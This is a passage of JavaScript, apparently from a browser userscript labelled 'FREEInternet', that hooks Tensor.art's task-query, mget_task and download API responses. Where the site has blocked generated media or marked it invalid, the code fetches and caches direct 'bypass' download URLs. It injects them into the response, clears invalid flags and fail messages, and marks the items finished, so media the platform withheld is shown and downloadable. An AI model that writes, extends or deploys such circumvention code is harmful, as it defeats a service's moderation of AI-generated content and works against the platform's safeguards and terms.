if (isQueryEndpoint || isTemplateTasksEndpoint || isWorkflowEditorEndpoint) {
if (domInjectDebug) {
const label = isQueryEndpoint ? '/query' : (isTemplateTasksEndpoint ? '/tasks' : '/workflow/editor');
console.log(`[TaskMonitor] Intercepted ${label} from site request:`, body);
}
if (isQueryEndpoint) {
warmTensorTasksQueryResponseBody(body, 'observed-task-response');
}
// Store workflowTemplateInfo for community sharing
if (Array.isArray(body?.data?.tasks)) {
body.data.tasks.forEach((task) => {
const tplInfo = task?.workflowTemplateInfo;
const tplId = tplInfo?.workflowTemplateId;
if (tplId && tplInfo.name && !templateInfoCache.has(tplId)) {
templateInfoCache.set(tplId, { workflowTemplateId: tplId, name: tplInfo.name });
}
});
}
const sourceLabel = isQueryEndpoint ? 'Query' : (isTemplateTasksEndpoint ? 'Template' : 'Workflow');
handleTasksResponse(body, sourceLabel);
}
} catch (e) {
console.warn('[TaskMonitor] Failed to process observed Tensor task response', { fetchUrl, error: e });
}
}
function isTensorDownloadEndpoint(url) {
const value = String(url || '');
return /\/works\/v1\/generation\/(?:image|video)\/download(?:\?|$)/i.test(value);
}
function getTensorDownloadEndpointKind(url) {
const value = String(url || '');
if (/\/generation\/video\/download(?:\?|$)/i.test(value)) return 'video';
if (/\/generation\/image\/download(?:\?|$)/i.test(value)) return 'image';
return '';
}
function parseTensorDownloadRequestIds(body) {
if (body == null) return [];
const normalizeIds = (value) => {
if (!Array.isArray(value)) return [];
return Array.from(new Set(value.map((entry) => String(entry || '').trim()).filter(Boolean)));
};
if (typeof body === 'string') {
const text = body.trim();
if (!text) return [];
try {
return parseTensorDownloadRequestIds(JSON.parse(text));
} catch {
try {
return parseTensorDownloadRequestIds(new URLSearchParams(text));
} catch {
return [];
}
}
}
if (body instanceof FormData) {
return normalizeIds(body.getAll('ids').flatMap((entry) => Array.isArray(entry) ? entry : [entry]));
}
if (typeof URLSearchParams !== 'undefined' && body instanceof URLSearchParams) {
return normalizeIds(body.getAll('ids'));
}
if (typeof body === 'object') {
return normalizeIds(body.ids || body.imageIds || body.mediaIds || body?.data?.ids || []);
}
return [];
}
function extractTensorDownloadResponseEntries(body, endpointKind = '') {
const root = body?.data || body?.data?.data || {};
const out = [];
const pushEntry = (entry, fallbackKind = '') => {
const id = String(entry?.id || entry?.imageId || entry?.mediaId || '').trim();
const url = String(entry?.url || entry?.downloadUrl || '').trim();
if (!id || !url) return;
const mimeType = String(entry?.mimeType || '').trim();
const kind = fallbackKind || getMediaKindFromMime(mimeType) || endpointKind || '';
out.push({
id,
url,
filename: String(entry?.filename || entry?.downloadFileName || entry?.fileName || '').trim(),
mimeType,
kind
});
};
if (Array.isArray(root.images)) root.images.forEach((entry) => pushEntry(entry, 'image'));
if (Array.isArray(root.videos)) root.videos.forEach((entry) => pushEntry(entry, 'video'));
if (Array.isArray(root.items)) root.items.forEach((entry) => pushEntry(entry, ''));
if (Array.isArray(root.medias)) root.medias.forEach((entry) => pushEntry(entry, ''));
const seen = new Set();
return out.filter((entry) => {
const key = `${entry.id}|${entry.url}`;
if (seen.has(key)) return false;
seen.add(key);
return true;
});
}
function findTensorTaskForImageId(imageId) {
const normalizedId = String(imageId || '').trim();
if (!normalizedId) return null;
const itemMeta = itemMap.get(normalizedId) || itemMap.get(Number(normalizedId));
const directTaskId = itemMeta?.taskId || itemMeta?.routeId || '';
if (directTaskId) {
const directTask = resolveTaskData(directTaskId);
if (directTask) return directTask?.raw || directTask;
}
for (const taskData of taskMap.values()) {
const candidateTask = taskData?.raw || taskData;
if (findTensorTaskItemInTaskLike(candidateTask, normalizedId)) return candidateTask;
}
try {
const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
for (const cachedTask of Object.values(taskCache)) {
if (findTensorTaskItemInTaskLike(cachedTask, normalizedId)) return cachedTask;
}
} catch {
// ignore
}
return null;
}
function persistObservedTensorDownloadEntry(entry, source = 'tensor-download-observed') {
const imageId = String(entry?.id || '').trim();
const downloadUrl = String(entry?.url || '').trim();
if (!imageId || !isUsableBypassMediaUrl(downloadUrl, { minRemainingMs: SIGNED_URL_EXPIRY_SAFETY_MS })) return false;
const meta = itemMap.get(imageId) || itemMap.get(Number(imageId)) || {};
const task = findTensorTaskForImageId(imageId);
const taskItem = findTensorTaskItemInTaskLike(task, imageId) || null;
const mimeType = entry?.mimeType || taskItem?.mimeType || meta?.mimeType || (entry?.kind === 'video' ? 'video/mp4' : 'image/png');
const forceKind = entry?.kind || getMediaKindFromMime(mimeType) || '';
const fileName = String(entry?.filename || taskItem?.downloadFileName || meta?.downloadFileName || '').trim();
let changed = false;
setCachedDownloadUrl(imageId, downloadUrl, mimeType, forceKind);
const nextMeta = {
...meta,
imageId,
id: imageId,
mimeType,
url: downloadUrl,
bypassedUrl: downloadUrl,
source: meta?.source || 'tensor.art'
};
if (fileName) {
nextMeta.downloadFileName = fileName;
nextMeta.fileName = fileName;
}
if (!Object.is(meta?.url, downloadUrl) || !Object.is(meta?.bypassedUrl, downloadUrl) || (fileName && !Object.is(meta?.downloadFileName, fileName))) {
changed = true;
}
itemMap.set(imageId, nextMeta);
itemsData = (Array.isArray(itemsData) ? itemsData : []).map((item) => {
if (String(item?.id || item?.imageId || '') !== imageId) return item;
changed = true;
return {
...item,
mimeType: item?.mimeType || mimeType,
url: downloadUrl,
bypassedUrl: downloadUrl,
downloadFileName: fileName || item?.downloadFileName || null,
fileName: fileName || item?.fileName || null
};
});
if (task) {
if (persistTensorTaskCacheItemUrl(task, {
...(taskItem || {}),
imageId,
mimeType,
downloadFileName: fileName,
fileName
}, downloadUrl)) {
changed = true;
}
}
if (changed) {
freeInternetConsoleLog('Tensor', 'info', 'Updated cached bypass URL from observed download response', {
source,
imageId,
kind: forceKind || null,
taskId: task?.taskId || task?.routeId || meta?.taskId || null
});
}
return changed;
}
async function processTensorObservedDownloadEndpoint(fetchUrl, requestBody, responseLike, source = 'tensor-download-observed') {
if (!fetchUrl || !responseLike || !isTensorDownloadEndpoint(fetchUrl)) return;
try {
const clonedResponse = typeof responseLike.clone === 'function' ? responseLike.clone() : responseLike;
let body = null;
if (typeof clonedResponse.json === 'function') {
body = await clonedResponse.json();
} else if (typeof clonedResponse.responseText === 'string') {
body = JSON.parse(clonedResponse.responseText || '{}');
} else if (typeof clonedResponse.response === 'string') {
body = JSON.parse(clonedResponse.response || '{}');
} else if (clonedResponse.response && typeof clonedResponse.response === 'object') {
body = clonedResponse.response;
}
if (!body || typeof body !== 'object') return;
const endpointKind = getTensorDownloadEndpointKind(fetchUrl);
let entries = extractTensorDownloadResponseEntries(body, endpointKind);
const requestedIds = parseTensorDownloadRequestIds(requestBody);
if (!entries.length) {
const singleUrl = extractDownloadUrlFromApiResponse(body, endpointKind);
if (singleUrl && requestedIds.length === 1) {
entries = [{ id: requestedIds[0], url: singleUrl, filename: '', mimeType: '', kind: endpointKind }];
}
}
if (!entries.length) return;
let updated = 0;
entries.forEach((entry) => {
if (persistObservedTensorDownloadEntry(entry, source)) updated += 1;
});
if (updated > 0) {
tensorInterceptLog('success', 'Observed Tensor download endpoint refreshed cached media URL(s)', {
source,
url: fetchUrl,
endpointKind: endpointKind || null,
requestedIds: requestedIds.slice(0, 20),
updated
});
}
} catch (error) {
tensorInterceptLog('error', 'Failed to process observed Tensor download endpoint response', {
source,
url: fetchUrl,
error: String(error?.message || error)
});
}
}
function isTensorTasksQueryEndpoint(url) {
const value = String(url || '');
return /\/works\/v1\/works\/tasks\/query(?:\?|$)/i.test(value);
}
// Template detail endpoint: GET /workflow/v1/workflow/template/detail?id={id}
function isTemplateDetailEndpoint(url) {
return /\/workflow\/v1\/workflow\/template\/detail\b/i.test(String(url || ''));
}
// Template page tasks endpoint: GET /works/v1/works/tasks?workflowTemplateId=...
function isTensorTemplateTasksEndpoint(url) {
const value = String(url || '');
return /\/works\/v1\/works\/tasks\?/i.test(value) && /[?&]workflowTemplateId=/i.test(value);
}
// True for any endpoint whose response body we should patch with bypass URLs
function isTensorPatchableTasksEndpoint(url) {
return isTensorTasksQueryEndpoint(url) || isTensorTemplateTasksEndpoint(url);
}
// mget_task endpoint — returns tasks object keyed by taskId (different from the tasks array endpoints)
function isMgetTaskEndpoint(url) {
return /\/works\/v1\/works\/mget_task(?:[?#]|$)/i.test(String(url || ''));
}
function rewriteTensorTasksQueryPayloadSize(payload) {
if (!payload || typeof payload !== 'object') return { changed: false, payload };
const next = { ...payload };
let changed = false;
const forceValue = (key, value) => {
if (next[key] === undefined) return;
if (Number(next[key]) !== value) {
next[key] = value;
changed = true;
}
};
if (Number(next.size) !== 10) {
next.size = 10;
changed = true;
}
forceValue('limit', 10);
forceValue('pageSize', 10);
return { changed, payload: next };
}
function rewriteTensorTasksQueryRequestBody(body) {
if (body == null) return { changed: false, body };
if (typeof body === 'string') {
try {
const parsed = JSON.parse(body);
const { changed, payload } = rewriteTensorTasksQueryPayloadSize(parsed);
return { changed, body: changed ? JSON.stringify(payload) : body };
} catch {
return { changed: false, body };
}
}
if (body instanceof FormData) {
let changed = false;
const current = body.get('size');
if (String(current || '') !== '10') {
body.set('size', '10');
changed = true;
}
if (body.has('limit') && String(body.get('limit') || '') !== '10') {
body.set('limit', '10');
changed = true;
}
if (body.has('pageSize') && String(body.get('pageSize') || '') !== '10') {
body.set('pageSize', '10');
changed = true;
}
return { changed, body };
}
if (typeof URLSearchParams !== 'undefined' && body instanceof URLSearchParams) {
let changed = false;
if (body.get('size') !== '10') {
body.set('size', '10');
changed = true;
}
if (body.has('limit') && body.get('limit') !== '10') {
body.set('limit', '10');
changed = true;
}
if (body.has('pageSize') && body.get('pageSize') !== '10') {
body.set('pageSize', '10');
changed = true;
}
return { changed, body };
}
if (typeof body === 'object') {
const { changed, payload } = rewriteTensorTasksQueryPayloadSize(body);
return { changed, body: payload };
}
return { changed: false, body };
}
function getCachedBypassUrlForInvalidItem(item, options = {}) {
if (!item) return null;
const imageId = item.imageId || item.id;
if (!imageId) return null;
const mimeType = item.mimeType || '';
const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS);
const candidates = [
getFreshCachedDownloadUrlForIntercept(imageId, mimeType, '', minRemainingMs),
getFreshCachedDownloadUrlForIntercept(imageId, mimeType, 'video', minRemainingMs),
getFreshCachedDownloadUrlForIntercept(imageId, mimeType, 'image', minRemainingMs)
];
const meta = itemMap.get(String(imageId)) || itemMap.get(imageId) || {};
candidates.push(
item?.bypassedUrl,
item?.downloadUrl,
item?.mediaUrl,
item?.resourceUrl,
meta.bypassedUrl,
meta.downloadUrl,
meta.mediaUrl,
meta.resourceUrl,
meta.url
);
for (const candidate of candidates) {
if (isUsableBypassMediaUrl(candidate, { minRemainingMs })) return candidate;
}
return null;
}
function ensureFreeInternetPrefix(name) {
const base = String(name || '').trim();
if (!base) return 'FREEInterent-media';
return base.startsWith('FREEInterent-') ? base : `FREEInterent-${base}`;
}
function summarizeTensorTasksQueryPayload(payload) {
if (payload == null) return null;
try {
if (typeof payload === 'string') {
const text = payload.trim();
if (!text) return null;
return summarizeTensorTasksQueryPayload(JSON.parse(text));
}
} catch {
return { raw: String(payload).slice(0, 400) };
}
if (payload instanceof FormData) {
const data = {};
payload.forEach((value, key) => {
data[key] = typeof value === 'string' ? value : '[binary]';
});
return summarizeTensorTasksQueryPayload(data);
}
if (typeof URLSearchParams !== 'undefined' && payload instanceof URLSearchParams) {
return summarizeTensorTasksQueryPayload(Object.fromEntries(payload.entries()));
}
if (payload && typeof payload === 'object') {
const pick = ['page', 'size', 'limit', 'pageSize', 'sort', 'order', 'status', 'workspaceType', 'workflowTemplateId', 'routeId'];
const summary = {};
pick.forEach((key) => {
if (payload[key] !== undefined) summary[key] = payload[key];
});
return Object.keys(summary).length ? summary : JSON.parse(JSON.stringify(payload));
}
return { raw: String(payload).slice(0, 400) };
}
function applyTensorBypassUrlToItem(item, bypassUrl) {
const nextItem = { ...item };
const changedKeys = [];
const candidateKeys = ['url', 'downloadUrl', 'mediaUrl', 'resourceUrl', 'originUrl'];
candidateKeys.forEach((key) => {
const current = nextItem[key];
const shouldReplace = !current || isBlockedPlaceholderUrl(current);
if (shouldReplace && nextItem[key] !== bypassUrl) {
nextItem[key] = bypassUrl;
changedKeys.push(key);
}
});
if (!changedKeys.length && nextItem.url !== bypassUrl) {
nextItem.url = bypassUrl;
changedKeys.push('url');
}
return { nextItem, changedKeys };
}
function normalizeTensorTaskForFrontend(task, stats = null) {
if (!task || typeof task !== 'object') return { changed: false, task };
let changed = false;
const nextTask = { ...task };
const mark = (key, value, statKey = null) => {
if (!Object.is(nextTask[key], value)) {
nextTask[key] = value;
changed = true;
if (stats && statKey) stats[statKey] = (Number(stats[statKey]) || 0) + 1;
}
};
if (String(nextTask.status || '').toUpperCase() === 'FINISH') {
if (typeof nextTask.failMessage === 'string' && nextTask.failMessage) {
mark('failMessage', '', 'taskStateNormalized');
}
if (typeof nextTask.failCode === 'string' && String(nextTask.failCode || '').toUpperCase() !== 'DEFAULT') {
mark('failCode', 'DEFAULT', 'taskStateNormalized');
}
}
return { changed, task: changed ? nextTask : task };
}
function normalizeTensorItemForFrontend(item, cachedBypass, stats = null) {
if (!item || typeof item !== 'object') return { changed: false, item };
let changed = false;
const nextItem = { ...item };
const mark = (key, value, statKey = null) => {
if (!Object.is(nextItem[key], value)) {
nextItem[key] = value;
changed = true;
if (stats && statKey) stats[statKey] = (Number(stats[statKey]) || 0) + 1;
}
};
if (cachedBypass) {
// Mark that this item was originally blocked — consumers (items tab, cache)
// can use this flag to identify it even after invalid/url have been cleared.
if (!nextItem.blockedOnOrigin) {
nextItem.blockedOnOrigin = true;
changed = true;
}
const applied = applyTensorBypassUrlToItem(nextItem, cachedBypass);
if (applied.changedKeys.length) {
Object.assign(nextItem, applied.nextItem);
changed = true;
if (stats) stats.urlReplaced += 1;
}
['processImageUrl', 'previewUrl', 'thumbnailUrl', 'coverUrl', 'posterUrl', 'src'].forEach((key) => {
const current = nextItem[key];
if (current === undefined) return;
if (!current || isBlockedPlaceholderUrl(current)) {
mark(key, cachedBypass, 'itemStateNormalized');
}
});
}
mark('invalid', false, 'invalidCleared');
mark('status', 'FINISH', 'itemStateNormalized');
mark('needConvertUrl', false, 'itemStateNormalized');
if (Number(nextItem.processPercent) !== 100) {
mark('processPercent', 100, 'itemStateNormalized');
}
if (Number(nextItem.processProgress) !== 100) {
mark('processProgress', 100, 'itemStateNormalized');
}
if (typeof nextItem.feedbackType === 'string' && nextItem.feedbackType !== 'DEFAULT') {
mark('feedbackType', 'DEFAULT', 'itemStateNormalized');
}
return { changed, item: changed ? nextItem : item };
}
function getTensorTaskCacheLookupKeys(task = null, taskId = null, routeId = null) {
const keys = [];
const add = (value) => {
const next = String(value || '').trim();
if (!next || keys.includes(next)) return;
keys.push(next);
};
add(task?.taskId);
add(task?.routeId);
add(taskId);
add(routeId);
const expanded = [];
keys.forEach((value) => {
buildTaskLookupVariants(value).forEach((variant) => {
if (!expanded.includes(variant)) expanded.push(variant);
});
});
return expanded;
}
function findTensorTaskItemInTaskLike(taskLike, imageId) {
if (!taskLike || !imageId || !Array.isArray(taskLike.items)) return null;
return taskLike.items.find((entry) => String(entry?.imageId || entry?.id || '') === String(imageId)) || null;
}
function getCachedBypassUrlForTensorTaskItem(task, item, options = {}) {
const minRemainingMs = Math.max(0, Number(options?.minRemainingMs) || SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS);
const direct = getCachedBypassUrlForInvalidItem(item, { minRemainingMs });
if (direct) return direct;
const imageId = item?.imageId || item?.id;
if (!imageId) return null;
const taskKeys = getTensorTaskCacheLookupKeys(task, task?.taskId, task?.routeId);
for (const key of taskKeys) {
const cachedTask = taskMap.get(key);
const cachedItem = findTensorTaskItemInTaskLike(cachedTask?.raw || cachedTask, imageId) || findTensorTaskItemInTaskLike(cachedTask, imageId);
const hit = getCachedBypassUrlForInvalidItem(cachedItem, { minRemainingMs });
if (hit) return hit;
}
try {
const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
for (const key of taskKeys) {
const cachedTask = taskCache[key];
const cachedItem = findTensorTaskItemInTaskLike(cachedTask, imageId);
const hit = getCachedBypassUrlForInvalidItem(cachedItem, { minRemainingMs });
if (hit) return hit;
}
} catch {
// ignore
}
return null;
}
function persistTensorTaskCacheItemUrl(task, item, bypassUrl) {
const imageId = String(item?.imageId || item?.id || '');
if (!imageId || !bypassUrl) return false;
const mimeType = item?.mimeType || '';
const forceKind = getMediaKindFromMime(mimeType) || '';
const desiredDownloadFileName = String(item?.downloadFileName || item?.fileName || '').trim();
let changed = false;
setCachedDownloadUrl(imageId, bypassUrl, mimeType, forceKind);
const mergeIntoItem = (target) => {
if (!target || typeof target !== 'object') return false;
const normalized = normalizeTensorItemForFrontend(target, bypassUrl, null);
const nextTarget = normalized.changed ? normalized.item : target;
let localChanged = false;
Object.entries(nextTarget).forEach(([key, value]) => {
if (!Object.is(target[key], value)) {
target[key] = value;
localChanged = true;
}
});
if (!Object.is(target.bypassedUrl, bypassUrl)) {
target.bypassedUrl = bypassUrl;
localChanged = true;
}
if (desiredDownloadFileName) {
if (!Object.is(target.downloadFileName, desiredDownloadFileName)) {
target.downloadFileName = desiredDownloadFileName;
localChanged = true;
}
if (typeof target.fileName === 'string' && !Object.is(target.fileName, desiredDownloadFileName)) {
target.fileName = desiredDownloadFileName;
localChanged = true;
}
}
return localChanged;
};
const meta = itemMap.get(imageId) || itemMap.get(Number(imageId));
if (meta && mergeIntoItem(meta)) {
meta.bypassedUrl = bypassUrl;
changed = true;
}
itemsData.forEach((entry) => {
if (String(entry?.id || entry?.imageId || '') !== imageId) return;
if (mergeIntoItem(entry)) changed = true;
});
const taskKeys = getTensorTaskCacheLookupKeys(task, task?.taskId, task?.routeId);
taskMap.forEach((taskData) => {
const candidateTask = taskData?.raw || taskData;
const taskDataKeys = getTensorTaskCacheLookupKeys(candidateTask, taskData?.taskId, taskData?.routeId);
const sameTask = taskKeys.some((key) => taskDataKeys.includes(key));
if (!sameTask) return;
if (Array.isArray(taskData.items)) {
taskData.items.forEach((entry) => {
if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) changed = true;
});
}
if (Array.isArray(candidateTask.items)) {
candidateTask.items.forEach((entry) => {
if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) changed = true;
});
}
});
try {
const taskCache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY) || '{}') || {};
let taskCacheChanged = false;
Object.values(taskCache).forEach((cachedTask) => {
const cachedTaskKeys = getTensorTaskCacheLookupKeys(cachedTask, cachedTask?.taskId, cachedTask?.routeId);
const sameTask = taskKeys.some((key) => cachedTaskKeys.includes(key));
if (!sameTask || !Array.isArray(cachedTask?.items)) return;
cachedTask.items.forEach((entry) => {
if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) {
taskCacheChanged = true;
}
});
});
if (taskCacheChanged) {
localStorage.setItem(TASK_CACHE_KEY, JSON.stringify(taskCache));
changed = true;
}
} catch {
// ignore
}
try {
let accountCacheChanged = false;
Object.values(accountTasksCache || {}).forEach((taskBucket) => {
if (!taskBucket || typeof taskBucket !== 'object') return;
Object.values(taskBucket).forEach((cachedTask) => {
const cachedTaskKeys = getTensorTaskCacheLookupKeys(cachedTask, cachedTask?.taskId, cachedTask?.routeId);
const sameTask = taskKeys.some((key) => cachedTaskKeys.includes(key));
if (!sameTask || !Array.isArray(cachedTask?.items)) return;
cachedTask.items.forEach((entry) => {
if (String(entry?.imageId || entry?.id || '') === imageId && mergeIntoItem(entry)) {
accountCacheChanged = true;
}
});
});
});
if (accountCacheChanged) {
localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
changed = true;
}
} catch {
// ignore
}
return changed;
}
async function resolveTensorBypassUrlForTaskItem(task, item, source = 'tensor-fetch') {
const imageId = item?.imageId || item?.id;
if (!imageId) return null;
const cached = getCachedBypassUrlForTensorTaskItem(task, item, { minRemainingMs: SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS });
if (cached) return cached;
const mimeType = item?.mimeType || '';
const forceKind = getMediaKindFromMime(mimeType) || '';
const bypassUrl = await ensureDownloadUrl(imageId, mimeType, {
...(forceKind ? { forceKind } : {}),
minExpiryMs: SIGNED_URL_INTERCEPT_REFRESH_BUFFER_MS,
bypassCache: true
});
if (!bypassUrl || isBlockedPlaceholderUrl(bypassUrl)) return null;
persistTensorTaskCacheItemUrl(task, item, bypassUrl);
tensorInterceptLog('success', 'Resolved Tensor bypass URL from download endpoint', {
source,
taskId: task?.taskId || null,
routeId: task?.routeId || null,
imageId: String(imageId),
mimeType: mimeType || null,
urlPreview: `${String(bypassUrl).slice(0, 120)}${String(bypassUrl).length > 120 ? '…' : ''}`
});
return bypassUrl;
}
async function backfillTensorTasksQueryResponseBody(body, source = 'tensor-fetch') {
if (!body || typeof body !== 'object' || !Array.isArray(body?.data?.tasks)) {
return { changed: false, body, stats: null };
}
let changed = false;
let resolvedItems = 0;
let resolvedTasks = 0;
const nextTasks = await Promise.all(body.data.tasks.map(async (task) => {
if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) return task;
// Skip tasks whose expireAt has already passed — no point fetching bypass URLs
const taskExpireAt = Number(task.expireAt || 0);
if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) return task;
let taskChanged = false;
let taskResolvedItems = 0;
const nextItems = await Promise.all(task.items.map(async (item) => {
const looksBlocked = item && (item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl));
if (!looksBlocked) return item;
const existingBypass = getCachedBypassUrlForTensorTaskItem(task, item);
if (existingBypass) return item;
const resolvedBypass = await resolveTensorBypassUrlForTaskItem(task, item, source).catch(() => null);
if (!resolvedBypass) return item;
const normalized = normalizeTensorItemForFrontend(item, resolvedBypass, null);
const nextItem = normalized.changed ? normalized.item : { ...item, url: resolvedBypass, bypassedUrl: resolvedBypass };
if (!Object.is(nextItem.bypassedUrl, resolvedBypass)) nextItem.bypassedUrl = resolvedBypass;
taskChanged = true;
taskResolvedItems += 1;
resolvedItems += 1;
return nextItem;
}));
if (!taskChanged) return task;
changed = true;
resolvedTasks += 1;
return {
...task,
items: nextItems
};
}));
if (!changed) return { changed: false, body, stats: { resolvedItems: 0, resolvedTasks: 0 } };
return {
changed: true,
body: {
...body,
data: {
...body.data,
tasks: nextTasks
}
},
stats: { resolvedItems, resolvedTasks }
};
}
async function patchTensorTasksQueryResponseBodyAsync(body, source = 'tensor-fetch') {
const patched = patchTensorTasksQueryResponseBody(body);
const backfilled = await backfillTensorTasksQueryResponseBody(patched.changed ? patched.body : body, source);
if (!backfilled.changed) return patched;
const stats = {
...(patched.stats || {}),
resolvedItems: Number(backfilled.stats?.resolvedItems) || 0,
resolvedTasks: Number(backfilled.stats?.resolvedTasks) || 0
};
return {
changed: true,
body: backfilled.body,
stats
};
}
// ── mget_task response patchers ─────────────────────────────────────────────
// mget_task returns body.data.tasks as an **object** keyed by taskId, not an
// array. These three functions mirror patchTensorTasksQueryResponseBody /
// backfillTensorTasksQueryResponseBody / patchTensorTasksQueryResponseBodyAsync
// but operate on that object shape.
function patchMgetTaskResponseBody(body) {
const tasksObj = body?.data?.tasks;
if (!body || typeof body !== 'object' || !tasksObj || typeof tasksObj !== 'object' || Array.isArray(tasksObj)) {
return { changed: false, body };
}
let changed = false;
const nextTasksObj = {};
for (const [taskId, task] of Object.entries(tasksObj)) {
if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) {
nextTasksObj[taskId] = task;
continue;
}
const taskExpireAt = Number(task.expireAt || 0);
if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) {
nextTasksObj[taskId] = task;
continue;
}
let taskChanged = false;
const nextItems = task.items.map(item => {
// Skip placeholder imageId '0' and items still under review (reviewing.png)
if (!item?.imageId || item.imageId === '0') return item;
if (/reviewing\.png/i.test(item.url || '')) return item;
const looksBlocked = item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl);
if (!looksBlocked) return item;
// Stamp blockedOnOrigin before normalizing so it survives even a no-change normalization
const stampedItem = item.blockedOnOrigin ? item : { ...item, blockedOnOrigin: true };
const cachedBypass = getCachedBypassUrlForInvalidItem(stampedItem);
if (!cachedBypass) {
// No bypass URL yet — still return stamped item so flag is persisted
taskChanged = true;
return stampedItem;
}
const normalized = normalizeTensorItemForFrontend(stampedItem, cachedBypass, null);
taskChanged = true;
return normalized.changed ? normalized.item : stampedItem;
});
if (!taskChanged) { nextTasksObj[taskId] = task; continue; }
changed = true;
nextTasksObj[taskId] = { ...task, items: nextItems };
}
if (!changed) return { changed: false, body };
return { changed: true, body: { ...body, data: { ...body.data, tasks: nextTasksObj } } };
}
async function backfillMgetTaskResponseBody(body, source = 'tensor-fetch') {
const tasksObj = body?.data?.tasks;
if (!body || typeof body !== 'object' || !tasksObj || typeof tasksObj !== 'object' || Array.isArray(tasksObj)) {
return { changed: false, body };
}
let changed = false;
const nextTasksObj = {};
await Promise.all(Object.entries(tasksObj).map(async ([taskId, task]) => {
if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) {
nextTasksObj[taskId] = task;
return;
}
const taskExpireAt = Number(task.expireAt || 0);
if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) {
nextTasksObj[taskId] = task;
return;
}
let taskChanged = false;
const nextItems = await Promise.all(task.items.map(async item => {
if (!item?.imageId || item.imageId === '0') return item;
if (/reviewing\.png/i.test(item.url || '')) return item;
const looksBlocked = item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl);
if (!looksBlocked) return item;
// Stamp blockedOnOrigin before any further work
const stampedItem = item.blockedOnOrigin ? item : { ...item, blockedOnOrigin: true };
// If we already have a cached bypass URL, skip — patchMgetTaskResponseBody
// (the sync step) will handle it; avoid double-fetching.
const existingBypass = getCachedBypassUrlForTensorTaskItem(task, stampedItem);
if (existingBypass) { taskChanged = true; return stampedItem; }
const resolvedBypass = await resolveTensorBypassUrlForTaskItem(task, stampedItem, source).catch(() => null);
if (!resolvedBypass) { taskChanged = true; return stampedItem; }
const normalized = normalizeTensorItemForFrontend(stampedItem, resolvedBypass, null);
const nextItem = normalized.changed ? normalized.item : { ...stampedItem, url: resolvedBypass, bypassedUrl: resolvedBypass };
if (!Object.is(nextItem.bypassedUrl, resolvedBypass)) nextItem.bypassedUrl = resolvedBypass;
taskChanged = true;
return nextItem;
}));
if (!taskChanged) { nextTasksObj[taskId] = task; return; }
changed = true;
nextTasksObj[taskId] = { ...task, items: nextItems };
}));
if (!changed) return { changed: false, body };
return { changed: true, body: { ...body, data: { ...body.data, tasks: nextTasksObj } } };
}
async function patchMgetTaskResponseBodyAsync(body, source = 'tensor-fetch') {
const patched = patchMgetTaskResponseBody(body);
const backfilled = await backfillMgetTaskResponseBody(patched.changed ? patched.body : body, source);
if (!backfilled.changed) return patched;
return { changed: true, body: backfilled.body };
}
// ────────────────────────────────────────────────────────────────────────────
function patchTensorTasksQueryResponseBody(body) {
const stats = {
tasksSeen: 0,
finishedTasks: 0,
invalidItemsSeen: 0,
patchedTasks: 0,
patchedItems: 0,
urlReplaced: 0,
filenamePrefixed: 0,
invalidCleared: 0,
taskStateNormalized: 0,
itemStateNormalized: 0,
resolvedItems: 0,
resolvedTasks: 0,
cacheMisses: 0,
cacheHitIds: [],
cacheMissIds: []
};
if (!body || typeof body !== 'object') return { changed: false, body, stats };
if (!Array.isArray(body?.data?.tasks)) return { changed: false, body, stats };
let changed = false;
const nextTasks = body.data.tasks.map((task) => {
stats.tasksSeen += 1;
if (!task || String(task.status || '').toUpperCase() !== 'FINISH' || !Array.isArray(task.items)) return task;
// Skip tasks whose expireAt has already passed
const taskExpireAt = Number(task.expireAt || 0);
if (taskExpireAt > 0 && taskExpireAt * 1000 < Date.now()) return task;
stats.finishedTasks += 1;
const normalizedTask = normalizeTensorTaskForFrontend(task, stats);
let taskChanged = false;
const nextItems = task.items.map((item) => {
const looksBlocked = item && (item.invalid === true || isBlockedPlaceholderUrl(item.url) || isBlockedPlaceholderUrl(item.downloadUrl));
if (!looksBlocked) return item;
stats.invalidItemsSeen += 1;
const cachedBypass = getCachedBypassUrlForInvalidItem(item);
if (!cachedBypass) {
stats.cacheMisses += 1;
if (stats.cacheMissIds.length < 20) stats.cacheMissIds.push(String(item?.imageId || item?.id || 'unknown'));
} else if (stats.cacheHitIds.length < 20) {
stats.cacheHitIds.push(String(item.imageId || item.id));
}
// Always stamp blockedOnOrigin regardless of whether we have a cached URL yet,
// so the item stays visible in the items tab after patching clears invalid/url.
const normalizedItem = normalizeTensorItemForFrontend(item, cachedBypass, stats);
let itemChanged = normalizedItem.changed;
const nextItem = itemChanged ? { ...normalizedItem.item } : { ...item };
if (!nextItem.blockedOnOrigin) {
nextItem.blockedOnOrigin = true;
itemChanged = true;
}
const prefixedName = ensureFreeInternetPrefix(item.downloadFileName || item.fileName || 'media');
if (prefixedName !== item.downloadFileName) {
nextItem.downloadFileName = prefixedName;
itemChanged = true;
stats.filenamePrefixed += 1;
}
if (typeof item.fileName === 'string' && prefixedName !== item.fileName) {
nextItem.fileName = prefixedName;
itemChanged = true;
}
if (itemChanged) {
stats.patchedItems += 1;
taskChanged = true;
}
return itemChanged ? nextItem : item;
});
if (!taskChanged) return task;
changed = true;
stats.patchedTasks += 1;
return {
...(normalizedTask.changed ? normalizedTask.task : task),
items: nextItems
};
});
